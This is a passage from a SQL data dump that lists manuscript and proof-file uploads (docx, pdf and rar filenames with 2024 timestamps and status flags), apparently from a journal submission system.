00:00:00',1,1,0),(40510,14750,'14749-2-Manuscript-2024-04-27.pdf','','2024-04-27 00:00:00',1,1,0),(40511,14655,'14655-5axu-Manuscript-proof-submission-2024-04-29.docx',NULL,'2024-04-29 07:58:34',1,3,0),(40513,14752,'14751-0-Manuscript-2024-04-30.docx','','2024-04-30 00:00:00',1,1,0),(40514,14752,'14752-omzi-Manuscript-proof-submission-2024-05-01.docx',NULL,'2024-05-01 12:07:15',1,3,0),(40515,14752,'14752-q8pi-Manuscript-proof-submission-2024-05-01.pdf',NULL,'2024-05-01 12:07:15',1,3,0),(40516,14752,'14752-Manuscript-2024-05-01-aj71.pdf',NULL,'2024-05-01 12:15:37',1,3,0),(40517,14484,'14484-pjh5-Manuscript-proof-submission-2024-05-03.docx',NULL,'2024-05-03 04:07:12',1,3,0),(40518,14484,'14484-4mrz-Manuscript-proof-submission-2024-05-03.pdf',NULL,'2024-05-03 04:07:12',1,3,0),(40519,14484,'14484-l0zq-Manuscript-proof-submission-2024-05-03.docx',NULL,'2024-05-03 04:07:23',1,3,0),(40520,14484,'14484-cu2j-Manuscript-proof-submission-2024-05-03.pdf',NULL,'2024-05-03 04:07:23',1,3,0),(40521,14484,'14484-hajz-Manuscript-proof-submission-2024-05-03.docx',NULL,'2024-05-03 04:07:53',1,3,0),(40522,14484,'14484-4qk2-Manuscript-proof-submission-2024-05-03.pdf',NULL,'2024-05-03 04:07:53',1,3,0),(40523,14672,'14672-netl-Manuscript-proof-submission-2024-05-03.docx',NULL,'2024-05-03 04:13:40',1,3,0),(40524,14672,'14672-c896-Manuscript-proof-submission-2024-05-03.pdf',NULL,'2024-05-03 04:13:40',1,3,0),(40525,14753,'14753-0-Manuscript-2024-05-03.docx',NULL,'2024-05-03 16:57:25',1,1,0),(40526,14754,'14754-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 06:31:16',1,1,0),(40527,14755,'14755-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 06:37:40',1,1,0),(40528,14756,'14756-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 06:41:14',1,1,0),(40529,14757,'14757-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 07:34:43',1,1,0),(40530,14758,'14758-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 07:46:03',1,1,0),(40531,14759,'14759-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 07:53:05',1,1,0),(40532,14760,'14760-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 07:59:16',1,1,0),(40533,14761,'14761-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 08:10:49',1,1,0),(40534,14762,'14762-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 08:15:24',1,1,0),(40535,14763,'14763-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 08:19:51',1,1,0),(40536,14764,'14764-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 08:34:17',1,1,0),(40537,14765,'14765-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 08:36:41',1,1,0),(40538,14766,'14766-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 08:51:08',1,1,0),(40539,14767,'14767-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 09:09:03',1,1,0),(40540,14768,'14768-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 09:11:46',1,1,0),(40541,14769,'14769-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 09:15:13',1,1,0),(40542,14770,'14770-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 09:24:53',1,1,0),(40543,14771,'14771-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 09:27:45',1,1,0),(40544,14772,'14772-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 09:30:09',1,1,0),(40545,14773,'14773-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 09:32:58',1,1,0),(40546,14774,'14774-0-Manuscript-2024-05-04.docx',NULL,'2024-05-04 09:55:59',1,1,0),(40547,14765,'14765-iyoj-Manuscript-2024-05-04.docx',NULL,'2024-05-04 09:57:07',1,1,0),(40548,14775,'14775-0-Manuscript-2024-05-06.docx',NULL,'2024-05-06 04:46:50',1,1,0),(40549,14776,'14776-0-Manuscript-2024-05-06.docx',NULL,'2024-05-06 04:49:59',1,1,0),(40550,14777,'14777-0-Manuscript-2024-05-06.docx',NULL,'2024-05-06 04:51:35',1,1,0),(40551,14778,'14778-0-Manuscript-2024-05-06.docx',NULL,'2024-05-06 04:52:57',1,1,0),(40552,14779,'14779-0-Manuscript-2024-05-06.docx',NULL,'2024-05-06 04:54:31',1,1,0),(40553,14780,'14780-0-Manuscript-2024-05-06.docx',NULL,'2024-05-06 04:56:09',1,1,0),(40554,14781,'14781-0-Manuscript-2024-05-06.docx',NULL,'2024-05-06 04:57:29',1,1,0),(40555,14782,'14782-0-Manuscript-2024-05-06.docx',NULL,'2024-05-06 04:59:18',1,1,0),(40556,14783,'14783-0-Manuscript-2024-05-06.docx',NULL,'2024-05-06 05:00:29',1,1,0),(40557,14784,'14784-0-Manuscript-2024-05-06.docx',NULL,'2024-05-06 05:01:58',1,1,0),(40558,14785,'14785-0-Manuscript-2024-05-06.docx',NULL,'2024-05-06 05:03:36',1,1,0),(40559,14786,'14786-0-Manuscript-2024-05-06.docx',NULL,'2024-05-06 05:06:17',1,1,0),(40560,14787,'14787-0-Manuscript-2024-05-06.docx',NULL,'2024-05-06 05:07:46',1,1,0),(40561,14788,'14788-0-Manuscript-2024-05-06.docx',NULL,'2024-05-06 08:26:00',1,1,0),(40562,14789,'14789-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 04:39:08',1,1,0),(40563,14790,'14790-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 04:44:53',1,1,0),(40564,14791,'14791-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 04:47:28',1,1,0),(40565,14792,'14792-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 04:49:49',1,1,0),(40566,14793,'14793-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 04:54:06',1,1,0),(40567,14794,'14794-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 06:00:05',1,1,0),(40568,14794,'14794-1-Manuscript-2024-05-07.jpg',NULL,'2024-05-07 06:00:05',1,1,0),(40569,14795,'14795-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 06:06:03',1,1,0),(40570,14796,'14796-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 06:10:19',1,1,0),(40571,14797,'14797-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 06:12:55',1,1,0),(40572,14798,'14798-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 06:14:36',1,1,0),(40573,14799,'14799-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 06:17:07',1,1,0),(40574,14800,'14800-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 06:18:36',1,1,0),(40575,14801,'14801-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 06:20:26',1,1,0),(40576,14802,'14802-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 06:22:09',1,1,0),(40577,14803,'14803-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 06:24:07',1,1,0),(40578,14804,'14804-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 06:25:54',1,1,0),(40579,14805,'14805-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 12:15:57',1,1,0),(40580,14806,'14806-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 12:24:52',1,1,0),(40581,14807,'14807-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 12:25:58',1,1,0),(40582,14808,'14808-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 12:27:04',1,1,0),(40583,14809,'14809-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 12:28:22',1,1,0),(40584,14810,'14810-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 12:31:54',1,1,0),(40585,14811,'14811-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 12:33:20',1,1,0),(40586,14812,'14812-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 12:34:18',1,1,0),(40587,14813,'14813-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 12:35:16',1,1,0),(40588,14814,'14814-0-Manuscript-2024-05-07.docx',NULL,'2024-05-07 12:37:37',1,1,0),(40589,14815,'14815-0-Manuscript-2024-05-08.docx',NULL,'2024-05-08 04:55:43',1,1,0),(40590,14816,'14816-0-Manuscript-2024-05-08.docx',NULL,'2024-05-08 04:57:31',1,1,0),(40591,14817,'14817-0-Manuscript-2024-05-08.docx',NULL,'2024-05-08 05:01:26',1,1,0),(40592,14818,'14818-0-Manuscript-2024-05-08.docx',NULL,'2024-05-08 05:03:43',1,1,0),(40593,14819,'14819-0-Manuscript-2024-05-08.docx',NULL,'2024-05-08 05:06:50',1,1,0),(40594,14820,'14820-0-Manuscript-2024-05-08.docx',NULL,'2024-05-08 05:09:30',1,1,0),(40595,14821,'14821-0-Manuscript-2024-05-08.docx',NULL,'2024-05-08 05:10:56',1,1,0),(40596,14822,'14822-0-Manuscript-2024-05-08.docx',NULL,'2024-05-08 05:13:05',1,1,0),(40597,14823,'14823-0-Manuscript-2024-05-08.docx',NULL,'2024-05-08 05:14:39',1,1,0),(40598,14824,'14824-0-Manuscript-2024-05-08.docx',NULL,'2024-05-08 05:15:55',1,1,0),(40599,14814,'14814-7fuy-Manuscript-proof-submission-2024-05-08.docx',NULL,'2024-05-08 10:23:15',1,3,0),(40600,14813,'14813-bplx-Manuscript-proof-submission-2024-05-08.docx',NULL,'2024-05-08 10:23:47',1,3,0),(40601,14812,'14812-fqps-Manuscript-proof-submission-2024-05-08.docx',NULL,'2024-05-08 10:24:19',1,3,0),(40602,14811,'14811-d3pu-Manuscript-proof-submission-2024-05-08.docx',NULL,'2024-05-08 10:24:35',1,3,0),(40603,14810,'14810-na7u-Manuscript-proof-submission-2024-05-08.docx',NULL,'2024-05-08 10:24:52',1,3,0),(40604,14809,'14809-3140-Manuscript-proof-submission-2024-05-08.docx',NULL,'2024-05-08 10:25:23',1,3,0),(40605,14808,'14808-ravp-Manuscript-proof-submission-2024-05-08.docx',NULL,'2024-05-08 10:25:45',1,3,0),(40606,14807,'14807-mh3n-Manuscript-proof-submission-2024-05-08.docx',NULL,'2024-05-08 10:26:18',1,3,0),(40607,14806,'14806-jbvt-Manuscript-proof-submission-2024-05-08.docx',NULL,'2024-05-08 10:26:38',1,3,0),(40608,14805,'14805-8urm-Manuscript-proof-submission-2024-05-08.docx',NULL,'2024-05-08 10:26:58',1,3,0),(40609,14825,'14825-0-Manuscript-2024-05-08.docx',NULL,'2024-05-08 17:39:00',1,1,0),(40610,14824,'14824-tzki-Manuscript-proof-submission-2024-05-09.rar',NULL,'2024-05-09 06:03:54',1,3,0),(40611,14822,'14822-gy1t-Manuscript-proof-submission-2024-05-09.rar',NULL,'2024-05-09 06:04:12',1,3,0),(40612,14819,'14819-fj8p-Manuscript-proof-submission-2024-05-09.rar',NULL,'2024-05-09 06:04:26',1,3,0),(40613,14818,'14818-gpxf-Manuscript-proof-submission-2024-05-09.rar',NULL,'2024-05-09 06:04:40',1,3,0),(40614,14817,'14817-5phj-Manuscript-proof-submission-2024-05-09.rar',NULL,'2024-05-09 06:04:55',1,3,0),(40615,14823,'14823-yilq-Manuscript-proof-submission-2024-05-09.rar',NULL,'2024-05-09 06:05:29',1,3,0),(40616,14821,'14821-b1l6-Manuscript-proof-submission-2024-05-09.rar',NULL,'2024-05-09 06:06:06',1,3,0),(40617,14820,'14820-kx6n-Manuscript-proof-submission-2024-05-09.rar',NULL,'2024-05-09 06:06:45',1,3,0),(40618,14816,'14816-h7e4-Manuscript-proof-submission-2024-05-09.rar',NULL,'2024-05-09 06:07:26',1,3,0),(40619,14816,'14816-wc59-Manuscript-proof-submission-2024-05-09.rar',NULL,'2024-05-09 06:07:43',1,3,0),(40620,14815,'14815-iwvb-Manuscript-proof-submission-2024-05-09.rar',NULL,'2024-05-09 06:08:25',1,3,0),(40621,14826,'14826-0-Manuscript-2024-05-09.docx',NULL,'2024-05-09 06:36:21',1,1,0),(40622,14827,'14827-0-Manuscript-2024-05-09.docx',NULL,'2024-05-09 06:38:14',1,1,0),(40623,14828,'14828-0-Manuscript-2024-05-09.docx',NULL,'2024-05-09 06:40:02',1,1,0),(40624,14829,'14829-0-Manuscript-2024-05-09.docx',NULL,'2024-05-09 06:42:05',1,1,0),(40625,14830,'14830-0-Manuscript-2024-05-09.docx',NULL,'2024-05-09 06:44:22',1,1,0),(40626,14815,'14815-Manuscript-2024-05-09-gqe7-iphsj-24-14815.rar',NULL,'2024-05-09 08:17:15',1,3,0),(40627,14816,'14816-Manuscript-2024-05-09-f03m-iphsj-24-14816.rar',NULL,'2024-05-09 08:17:45',1,3,0),(40628,14817,'14817-Manuscript-2024-05-09-r023-iphsj-24-14817.rar',NULL,'2024-05-09 08:18:07',1,3,0),(40629,14818,'14818-Manuscript-2024-05-09-j9s5-iphsj-24-14818.rar',NULL,'2024-05-09 08:18:32',1,3,0),(40630,14819,'14819-Manuscript-2024-05-09-h6ur-iphsj-24-14819.rar',NULL,'2024-05-09 08:18:59',1,3,0),(40631,14820,'14820-Manuscript-2024-05-09-q1rz-iphsj-24-14820.rar',NULL,'2024-05-09 08:19:24',1,3,0),(40632,14821,'14821-Manuscript-2024-05-09-8xf0-iphsj-24-14821.rar',NULL,'2024-05-09 08:19:52',1,3,0),(40633,14822,'14822-Manuscript-2024-05-09-w2bu-iphsj-24-14822.rar',NULL,'2024-05-09 08:20:18',1,3,0),(40634,14823,'14823-Manuscript-2024-05-09-8s54-iphsj-24-14823.rar',NULL,'2024-05-09 08:20:44',1,3,0),(40635,14824,'14824-Manuscript-2024-05-09-5gsy-iphsj-24-14824.rar',NULL,'2024-05-09 08:21:12',1,3,0),(40636,14831,'14831-0-Manuscript-2024-05-09.docx',NULL,'2024-05-09 11:02:31',1,1,0),(40637,14832,'14832-0-Manuscript-2024-05-10.docx',NULL,'2024-05-10 08:24:03',1,1,0),(40638,14833,'14833-0-Manuscript-2024-05-10.docx',NULL,'2024-05-10 08:27:09',1,1,0),(40639,14824,'14824-Manuscript-2024-05-10-amnc-graphic-completed.pdf',NULL,'2024-05-10 09:09:02',1,3,0),(40640,14823,'14823-Manuscript-2024-05-10-iyu0-graphic-completed.pdf',NULL,'2024-05-10 09:09:16',1,3,0),(40641,14822,'14822-Manuscript-2024-05-10-fq1k-graphic-completed.pdf',NULL,'2024-05-10 09:09:30',1,3,0),(40642,14821,'14821-Manuscript-2024-05-10-6ovn-graphic-completed.pdf',NULL,'2024-05-10 09:10:03',1,3,0),(40643,14820,'14820-Manuscript-2024-05-10-b60z-graphic-completed.pdf',NULL,'2024-05-10 09:10:36',1,3,0),(40644,14819,'14819-Manuscript-2024-05-10-es0i-graphic-completed.pdf',NULL,'2024-05-10 09:11:14',1,3,0),(40645,14818,'14818-Manuscript-2024-05-10-8hwg-graphic-completed.pdf',NULL,'2024-05-10 09:12:03',1,3,0),(40646,14817,'14817-Manuscript-2024-05-10-zfxb-graphic-completed.pdf',NULL,'2024-05-10 09:12:59',1,3,0),(40647,14816,'14816-Manuscript-2024-05-10-gicn-graphic-completed.pdf',NULL,'2024-05-10 09:14:14',1,3,0),(40648,14815,'14815-Manuscript-2024-05-10-j0yl-graphic-completed.pdf',NULL,'2024-05-10 09:14:19',1,3,0),(40649,14750,'14750-b71j-Manuscript-proof-submission-2024-05-10.rar',NULL,'2024-05-10 11:10:51',1,3,0),(40650,14750,'14750-Manuscript-2024-05-10-n0w9-iphsj-24-14750.rar',NULL,'2024-05-10 11:44:20',1,3,0),(40651,14834,'14834-0-Manuscript-2024-05-10.docx',NULL,'2024-05-10 11:48:21',1,1,0),(40652,14835,'14835-0-Manuscript-2024-05-10.docx',NULL,'2024-05-10 11:50:13',1,1,0),(40653,14836,'14836-0-Manuscript-2024-05-10.docx',NULL,'2024-05-10 11:52:30',1,1,0),(40654,14750,'14750-Manuscript-2024-05-10-f8sm-graphic-completed.pdf',NULL,'2024-05-10 12:15:12',1,3,0),(40655,14837,'14837-0-Manuscript-2024-05-14.docx',NULL,'2024-05-14 04:15:16',1,1,0),(40656,14838,'14838-0-Manuscript-2024-05-14.docx',NULL,'2024-05-14 04:17:44',1,1,0),(40657,14839,'14839-0-Manuscript-2024-05-14.docx',NULL,'2024-05-14 04:19:43',1,1,0),(40658,14840,'14840-0-Manuscript-2024-05-14.docx',NULL,'2024-05-14 04:21:50',1,1,0),(40659,14841,'14841-0-Manuscript-2024-05-14.docx',NULL,'2024-05-14 04:24:23',1,1,0),(40660,14842,'14842-0-Manuscript-2024-05-14.docx',NULL,'2024-05-14 04:25:52',1,1,0),(40661,14843,'14843-0-Manuscript-2024-05-14.docx',NULL,'2024-05-14 04:27:32',1,1,0),(40662,14844,'14844-0-Manuscript-2024-05-14.docx',NULL,'2024-05-14 04:29:36',1,1,0),(40663,14845,'14845-0-Manuscript-2024-05-14.docx',NULL,'2024-05-14 04:31:01',1,1,0),(40664,14846,'14846-0-Manuscript-2024-05-14.docx',NULL,'2024-05-14 04:33:31',1,1,0),(40665,14706,'14706-f0vx-Manuscript-proof-submission-2024-05-14.docx',NULL,'2024-05-14 10:21:51',1,3,0),(40666,14706,'14706-s5or-Manuscript-proof-submission-2024-05-14.docx',NULL,'2024-05-14 10:21:51',1,3,0),(40667,14706,'14706-hte7-Manuscript-proof-submission-2024-05-14.docx',NULL,'2024-05-14 10:21:51',1,3,0),(40668,14846,'14846-u2d0-Manuscript-proof-submission-2024-05-14.docx',NULL,'2024-05-14 12:21:02',1,3,0),(40669,14845,'14845-1vp4-Manuscript-proof-submission-2024-05-14.docx',NULL,'2024-05-14 12:21:57',1,3,0),(40670,14844,'14844-npoy-Manuscript-proof-submission-2024-05-14.docx',NULL,'2024-05-14 12:22:35',1,3,0),(40671,14843,'14843-mird-Manuscript-proof-submission-2024-05-14.docx',NULL,'2024-05-14 12:23:12',1,3,0),(40672,14842,'14842-9buc-Manuscript-proof-submission-2024-05-14.docx',NULL,'2024-05-14 12:25:46',1,3,0),(40673,14841,'14841-mo98-Manuscript-proof-submission-2024-05-14.docx',NULL,'2024-05-14 12:26:21',1,3,0),(40674,14840,'14840-un2m-Manuscript-proof-submission-2024-05-14.docx',NULL,'2024-05-14 12:31:52',1,3,0),(40675,14839,'14839-xt9r-Manuscript-proof-submission-2024-05-14.docx',NULL,'2024-05-14 12:32:26',1,3,0),(40676,14838,'14838-y7bn-Manuscript-proof-submission-2024-05-14.docx',NULL,'2024-05-14 12:32:59',1,3,0),(40677,14837,'14837-98nw-Manuscript-proof-submission-2024-05-14.docx',NULL,'2024-05-14 12:33:31',1,3,0),(40678,14847,'14847-0-Manuscript-2024-05-14.pdf',NULL,'2024-05-14 14:30:09',1,1,0),(40679,14750,'14750-Manuscript-2024-05-15-bn3x-move-pdf-making.pdf',NULL,'2024-05-15 05:00:37',1,3,0),(40680,14825,'14825-a16l-Manuscript-proof-submission-2024-05-15.rar',NULL,'2024-05-15 06:20:57',1,3,0),(40681,14848,'14848-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 06:35:55',1,1,0),(40682,14849,'14849-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 06:39:00',1,1,0),(40683,14850,'14850-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 07:44:52',1,1,0),(40684,14851,'14851-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 07:46:38',1,1,0),(40685,14852,'14852-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 07:47:46',1,1,0),(40686,14853,'14853-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 07:48:56',1,1,0),(40687,14854,'14854-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 07:49:56',1,1,0),(40688,14855,'14855-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 07:53:21',1,1,0),(40689,14856,'14856-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 07:54:32',1,1,0),(40690,14825,'14825-Manuscript-2024-05-15-2po1-iphsj-24-14825.rar',NULL,'2024-05-15 07:54:53',1,3,0),(40691,14857,'14857-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 07:55:30',1,1,0),(40692,14858,'14858-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 07:56:12',1,1,0),(40693,14859,'14859-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 07:57:10',1,1,0),(40694,14860,'14860-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 08:00:04',1,1,0),(40695,14861,'14861-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 08:05:09',1,1,0),(40696,14862,'14862-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 08:09:29',1,1,0),(40697,14863,'14863-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 08:16:38',1,1,0),(40698,14864,'14864-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 08:23:39',1,1,0),(40699,14865,'14865-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 08:27:56',1,1,0),(40700,14866,'14866-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 08:44:07',1,1,0),(40701,14867,'14867-0-Manuscript-2024-05-15.docx',NULL,'2024-05-15 08:48:28',1,1,0),(40702,14825,'14825-Manuscript-2024-05-15-5u3q-graphic-completed.pdf',NULL,'2024-05-15 08:59:47',1,3,0),(40703,14814,'14814-Manuscript-2024-05-15-pvkj.pdf',NULL,'2024-05-15 09:52:11',1,3,0),(40704,14813,'14813-Manuscript-2024-05-15-4dzq.pdf',NULL,'2024-05-15 09:52:19',1,3,0),(40705,14812,'14812-Manuscript-2024-05-15-h4is.pdf',NULL,'2024-05-15 09:52:30',1,3,0),(40706,14811,'14811-Manuscript-2024-05-15-q2t9.pdf',NULL,'2024-05-15 09:52:39',1,3,0),(40707,14810,'14810-Manuscript-2024-05-15-evkb.pdf',NULL,'2024-05-15 09:52:49',1,3,0),(40708,14809,'14809-Manuscript-2024-05-15-lgyu.pdf',NULL,'2024-05-15 09:52:58',1,3,0),(40709,14808,'14808-Manuscript-2024-05-15-3ken.pdf',NULL,'2024-05-15 09:53:17',1,3,0),(40710,14807,'14807-Manuscript-2024-05-15-eap1.pdf',NULL,'2024-05-15 09:53:32',1,3,0),(40711,14806,'14806-Manuscript-2024-05-15-vn4f.pdf',NULL,'2024-05-15 09:53:49',1,3,0),(40712,14805,'14805-Manuscript-2024-05-15-rd7v.pdf',NULL,'2024-05-15 09:54:01',1,3,0),(40713,14814,'14814-Manuscript-2024-05-16-8owv.pdf',NULL,'2024-05-16 05:01:39',1,3,0),(40714,14813,'14813-Manuscript-2024-05-16-3m5f.pdf',NULL,'2024-05-16 05:01:48',1,3,0),(40715,14812,'14812-Manuscript-2024-05-16-fs89.pdf',NULL,'2024-05-16 05:01:56',1,3,0),(40716,14811,'14811-Manuscript-2024-05-16-pdix.pdf',NULL,'2024-05-16 05:02:04',1,3,0),(40717,14810,'14810-Manuscript-2024-05-16-pb87.pdf',NULL,'2024-05-16 05:02:13',1,3,0),(40718,14809,'14809-Manuscript-2024-05-16-kw5m.pdf',NULL,'2024-05-16 05:02:20',1,3,0),(40719,14808,'14808-Manuscript-2024-05-16-e7y2.pdf',NULL,'2024-05-16 05:02:27',1,3,0),(40720,14807,'14807-Manuscript-2024-05-16-xckm.pdf',NULL,'2024-05-16 05:02:33',1,3,0),(40721,14806,'14806-Manuscript-2024-05-16-319n.pdf',NULL,'2024-05-16 05:02:41',1,3,0),(40722,14805,'14805-Manuscript-2024-05-16-0hgu.pdf',NULL,'2024-05-16 05:02:48',1,3,0),(40723,14737,'14737-uf5g-Manuscript-proof-submission-2024-05-16.docx',NULL,'2024-05-16 06:25:03',1,3,0),(40724,14868,'14868-0-Manuscript-2024-05-16.docx',NULL,'2024-05-16 08:11:09',1,1,0),(40725,14869,'14869-0-Manuscript-2024-05-16.docx',NULL,'2024-05-16 08:13:06',1,1,0),(40726,14870,'14870-0-Manuscript-2024-05-16.docx',NULL,'2024-05-16 08:18:52',1,1,0),(40727,14871,'14871-0-Manuscript-2024-05-16.docx',NULL,'2024-05-16 08:20:35',1,1,0),(40728,14872,'14872-0-Manuscript-2024-05-16.docx',NULL,'2024-05-16 08:24:19',1,1,0),(40729,14873,'14873-0-Manuscript-2024-05-16.docx',NULL,'2024-05-16 08:38:48',1,1,0),(40730,14874,'14874-0-Manuscript-2024-05-16.docx',NULL,'2024-05-16 08:42:49',1,1,0),(40731,14875,'14875-0-Manuscript-2024-05-16.docx',NULL,'2024-05-16 08:43:25',1,1,0),(40732,14876,'14876-0-Manuscript-2024-05-16.docx',NULL,'2024-05-16 08:47:22',1,1,0),(40733,14877,'14877-0-Manuscript-2024-05-16.docx',NULL,'2024-05-16 08:48:16',1,1,0),(40734,14737,'14737-Manuscript-2024-05-16-e2j3-move-pdf-making.pdf',NULL,'2024-05-16 10:24:50',1,3,0),(40735,14706,'14706-Manuscript-2024-05-16-nyx3-move-pdf-making.pdf',NULL,'2024-05-16 11:17:08',1,3,0),(40736,14738,'14738-1bsp-Manuscript-proof-submission-2024-05-16.docx',NULL,'2024-05-16 11:52:04',1,3,0),(40741,14738,'14738-94hz-Manuscript-proof-submission-2024-05-16.pdf',NULL,'2024-05-16 11:52:17',1,3,0),(40752,14878,'14878-0-Manuscript-2024-05-16.docx',NULL,'2024-05-16 11:58:18',1,1,0),(40753,14706,'14706-Manuscript-2024-05-16-f1li-graphic-completed.pdf',NULL,'2024-05-16 12:03:13',1,3,0),(40754,14859,'14859-y034-Manuscript-proof-submission-2024-05-16.docx',NULL,'2024-05-16 12:14:19',1,3,0),(40755,14858,'14858-3d0h-Manuscript-proof-submission-2024-05-16.docx',NULL,'2024-05-16 12:14:34',1,3,0),(40756,14857,'14857-e8rj-Manuscript-proof-submission-2024-05-16.docx',NULL,'2024-05-16 12:14:46',1,3,0),(40757,14856,'14856-dt8j-Manuscript-proof-submission-2024-05-16.docx',NULL,'2024-05-16 12:14:58',1,3,0),(40758,14855,'14855-k1c8-Manuscript-proof-submission-2024-05-16.docx',NULL,'2024-05-16 12:15:15',1,3,0),(40759,14854,'14854-y5dw-Manuscript-proof-submission-2024-05-16.docx',NULL,'2024-05-16 12:15:31',1,3,0),(40760,14853,'14853-9cgz-Manuscript-proof-submission-2024-05-16.docx',NULL,'2024-05-16 12:15:44',1,3,0),(40761,14737,'14737-Manuscript-2024-05-16-13pn-move-pdf-making.docx',NULL,'2024-05-16 12:15:55',1,3,0),(40762,14852,'14852-7lh8-Manuscript-proof-submission-2024-05-16.docx',NULL,'2024-05-16 12:16:01',1,3,0),(40763,14851,'14851-8k0o-Manuscript-proof-submission-2024-05-16.docx',NULL,'2024-05-16 12:16:40',1,3,0),(40764,14850,'14850-7h4f-Manuscript-proof-submission-2024-05-16.docx',NULL,'2024-05-16 12:16:52',1,3,0),(40765,14854,'14854-Manuscript-2024-05-16-x8op-ipaom-24-14854.docx',NULL,'2024-05-16 12:40:37',1,3,0),(40766,14853,'14853-Manuscript-2024-05-16-9wpl-ipaom-24-14853.docx',NULL,'2024-05-16 12:40:47',1,3,0),(40767,14852,'14852-Manuscript-2024-05-16-ruj8-ipaom-24-14852.docx',NULL,'2024-05-16 12:40:59',1,3,0),(40768,14851,'14851-Manuscript-2024-05-16-uhfz-ipaom-24-14851.docx',NULL,'2024-05-16 12:41:08',1,3,0),(40769,14850,'14850-Manuscript-2024-05-16-wty5-ipaom-24-14850.docx',NULL,'2024-05-16 12:41:21',1,3,0),(40770,14858,'14858-Manuscript-2024-05-16-0xgp-ipaom-24-14858.docx',NULL,'2024-05-16 12:42:23',1,3,0),(40771,14857,'14857-Manuscript-2024-05-16-bkj8-ipaom-24-14857.docx',NULL,'2024-05-16 12:42:34',1,3,0),(40772,14856,'14856-Manuscript-2024-05-16-xs74-ipaom-24-14856.docx',NULL,'2024-05-16 12:42:43',1,3,0),(40773,14855,'14855-Manuscript-2024-05-16-10m6-ipaom-24-14855.docx',NULL,'2024-05-16 12:42:54',1,3,0),(40774,14706,'14706-Manuscript-2024-05-17-ntpb.pdf',NULL,'2024-05-17 05:01:15',1,3,0),(40775,14879,'14879-0-Manuscript-2024-05-17.docx',NULL,'2024-05-17 05:22:21',1,1,0),(40776,14880,'14880-0-Manuscript-2024-05-17.docx',NULL,'2024-05-17 05:32:36',1,1,0),(40777,14881,'14881-0-Manuscript-2024-05-17.docx',NULL,'2024-05-17 05:47:58',1,1,0),(40778,14882,'14882-0-Manuscript-2024-05-17.docx',NULL,'2024-05-17 06:34:57',1,1,0),(40779,14883,'14883-0-Manuscript-2024-05-17.docx',NULL,'2024-05-17 06:45:13',1,1,0),(40780,14884,'14884-0-Manuscript-2024-05-17.docx',NULL,'2024-05-17 08:03:52',1,1,0),(40781,14885,'14885-0-Manuscript-2024-05-17.docx',NULL,'2024-05-17 08:17:37',1,1,0),(40782,14886,'14886-0-Manuscript-2024-05-17.docx',NULL,'2024-05-17 08:37:27',1,1,0),(40783,14887,'14887-0-Manuscript-2024-05-17.docx',NULL,'2024-05-17 08:46:05',1,1,0),(40784,14888,'14888-0-Manuscript-2024-05-17.docx',NULL,'2024-05-17 09:30:54',1,1,0),(40785,14889,'14889-0-Manuscript-2024-05-17.docx',NULL,'2024-05-17 09:31:58',1,1,0),(40786,14890,'14890-0-Manuscript-2024-05-17.docx',NULL,'2024-05-17 09:32:52',1,1,0),(40787,14891,'14891-0-Manuscript-2024-05-17.docx',NULL,'2024-05-17 